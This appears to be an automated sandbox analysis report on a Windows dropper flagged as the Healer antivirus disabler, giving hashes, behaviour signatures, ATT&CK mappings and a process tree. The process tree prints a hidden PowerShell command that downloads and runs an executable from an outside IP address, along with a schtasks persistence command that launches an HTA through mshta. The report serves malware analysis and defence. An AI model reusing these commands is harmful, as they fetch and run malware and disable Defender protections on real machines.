Overview

overview

10

Static

static

5

3d37e462a2...32.exe

windows7-x64

10

3d37e462a2...32.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-02-2025 22:51

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General

  • Target

    3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe

  • Size

    938KB

  • MD5

    0d9785e60c0a3c69cf5813f12a1b3839

  • SHA1

    c11fbe1fb2023566108ce47e698b1a1483d97f4d

  • SHA256

    3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032

  • SHA512

    39b102dcfca5042e01bfce8a0e91b56456e9b90ad52fc97cdf2bee6a88d4169e8b791ad15367337e6ee72b1849c6c174d537056ff3c5ff44efd893dbfe111d0b

  • SSDEEP

    24576:ZqDEvCTbMWu7rQYlBQcBiT6rprG8aegl:ZTvC/MTQYxsWR7aeg

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe
    "C:\Users\Admin\AppData\Local\Temp\3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn jmrqHmaTskB /tr "mshta C:\Users\Admin\AppData\Local\Temp\pAomPbMt1.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn jmrqHmaTskB /tr "mshta C:\Users\Admin\AppData\Local\Temp\pAomPbMt1.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2764
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\pAomPbMt1.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2912
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'K0YYUQUU0YHKLBIABANNJ6BFGLMJGSDF.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2108
        • C:\Users\Admin\AppData\Local\TempK0YYUQUU0YHKLBIABANNJ6BFGLMJGSDF.EXE
          "C:\Users\Admin\AppData\Local\TempK0YYUQUU0YHKLBIABANNJ6BFGLMJGSDF.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

6
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

3
T1012

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\pAomPbMt1.hta
    Filesize

    726B

    MD5

    bf3f4458c682d5e278f754d440d8406e

    SHA1

    637f9ec07a4e26b05357970e038d857e93460da6

    SHA256

    7e07f6ac357a4a910659b9a8187784f02552759ae78a9b014138b6bfdb222dea

    SHA512

    87c21e16763258fcd300bf98f58693329f126ad8546796391716a55c7ac8e8cfa8af206df20c6402e31c0645b4936275e958f514bd7b07cbf64771bfef17b488

    Download Submit

  • \Users\Admin\AppData\Local\TempK0YYUQUU0YHKLBIABANNJ6BFGLMJGSDF.EXE
    Filesize

    1.7MB

    MD5

    f55849efa5c6a2ea4cfe6d5467e7c85d

    SHA1

    a6ce257e4e6c36d3b7bfa203b7168eca537224e8

    SHA256

    a6ee22805ca4eef905f2c7ca3bb38f3e895fd91dcceb63038ed2065c4c18da7b

    SHA512

    866ae7fb82fbbe6d35221d24ac143d6f7ef58483090ef433e0cd1de5251a20d409b898c19d7c53d07e5b08165755a926488344b5f599f2ccc7f35bb9818cdc11

    Download Submit

  • memory/2108-14-0x0000000006580000-0x00000000069EA000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2108-13-0x0000000006580000-0x00000000069EA000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2724-15-0x0000000000870000-0x0000000000CDA000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2724-16-0x0000000000870000-0x0000000000CDA000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2724-17-0x0000000000870000-0x0000000000CDA000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2724-20-0x0000000000870000-0x0000000000CDA000-memory.dmp

    Filesize

    4.4MB

    Download